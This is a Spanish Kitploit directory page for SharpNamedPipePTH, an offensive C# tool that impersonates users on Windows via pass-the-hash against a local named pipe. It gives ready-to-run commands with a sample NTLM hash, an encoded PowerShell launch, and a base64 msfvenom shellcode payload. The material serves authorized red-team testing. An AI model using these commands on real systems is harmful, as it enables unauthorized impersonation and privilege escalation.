Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SharpNamedPipePTH — Pasar el hash a una tubería con nombre para la suplantación de tokens | Kitploit
Herramientas/GitHubGitHub/s3cur3th1ssh1t/sharpnamedpipepth
Escalada de PrivilegiosGeneración de PayloadsHerramientas de SuplantaciónMovimiento LateralPost-ExplotaciónPruebas de PenetraciónAutenticaciónRed Teaming
GitHubs3cur3th1ssh1t/sharpnamedpipepth

SharpNamedPipePTH

Pasar el hash a una tubería con nombre para la suplantación de tokens

Ver Repositorio
31051hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SharpNamedPipePTH

Este proyecto es una herramienta en C# para usar Pass-the-Hash en la autenticación de una tubería con nombre local para la suplantación de usuario. Necesitas ser administrador local o tener derechos SEImpersonate para usarlo. Hay una publicación en el blog con la explicación:

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/

Se basa en gran medida en el código del proyecto Sharp-SMBExec.

En el pasado me he enfrentado a ciertas situaciones de proyectos de Seguridad Ofensiva donde ya tenía el hash NTLM de una cuenta de usuario con bajos privilegios y necesitaba un shell para ese usuario en el sistema comprometido actual, pero eso no era posible con las herramientas públicas actuales. Imagina dos datos más para una situación así: el hash NTLM no podía ser descifrado y no hay ningún proceso del usuario víctima en el que inyectar shellcode o migrar. Esto puede sonar como un caso extremo absurdo para algunos de ustedes. Aun así, lo he experimentado varias veces. No solo en un compromiso, pasé mucho tiempo buscando la herramienta/técnica adecuada en esa situación específica.

Mis objetivos personales para una herramienta/técnica eran:

  • Un shell completamente funcional o conexión C2 como la cuenta de usuario víctima
  • Debe poder suplantar también cuentas de bajos privilegios – dependiendo de los objetivos del compromiso, podría ser necesario acceder a un sistema con un usuario específico como el CEO, cuentas de RRHH, administradores SAP u otros
  • La herramienta puede ser utilizada como módulo C2

Desafortunadamente, el usuario suplantado no tiene autenticación de red permitida, ya que el nuevo proceso utiliza un token de suplantación restringido. Por lo tanto, solo puedes usar esta técnica para acciones locales con otro usuario.

Hay dos formas de usar SharpNamedPipePTH. Puedes ejecutar un binario (con o sin argumentos):

SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe

alt text

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"

O puedes ejecutar shellcode como el otro usuario:

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=

Que es msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.

Todavía no estoy satisfecho con la ejecución de shellcode, ya que actualmente inicia notepad como el usuario suplantado e inyecta el shellcode en ese nuevo proceso mediante D/Invoke CreateRemoteThread Syscall. Sigo buscando la posibilidad de generar un proceso en segundo plano o ejecutar shellcode sin tener un proceso del usuario objetivo para la asignación de memoria.

alt text

Descargar herramienta